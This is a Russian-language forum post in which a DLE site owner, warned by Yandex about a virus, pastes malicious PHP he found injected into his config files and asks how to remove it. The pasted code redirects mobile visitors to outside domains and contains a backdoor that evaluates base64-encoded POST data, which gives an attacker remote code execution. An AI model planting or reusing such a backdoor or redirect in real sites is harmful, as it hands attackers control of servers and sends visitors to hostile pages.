Вирус в DLE

Дня доброго....

Помогите, яндекс прислал письмо о вирусе на сайте, и действительно он по идее есть....

Лазил, лазил, потом открыл исходные код на главной странице, обнаружил вот такое инородное -

<script type="text/javascript" src=""></script>

облазил все, не могу найти где прописано это, чтоб удалить....

прошу помощи..

потом помимо всего.

В файле Конфиг и ДБКонфиг открыв увидел вот такое:

if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://ya-analytics.ws/');

if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://googlecount.ws/');

if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://ya-analytics.ws/');

if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://ya-googl.ws/');

if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

?>

в разных местах, что с этим делать прошу подскажите, просто вырезать из файла и сохранить его?

+ какие лучше права поставить на файлы БД... а то стоят 666 как запрашивало при инстале....

Ссылка на сайт в Подписи, осторожно если будете входить, так как вирус там есть.....

---------- Добавлено 21.03.2013 в 20:51 ----------

Касаемо той ссылки, смотреть в индекс пхп, мэин тпл.... не увидел ее там....

---------- Добавлено 21.03.2013 в 21:27 ----------

Прошу подскажите....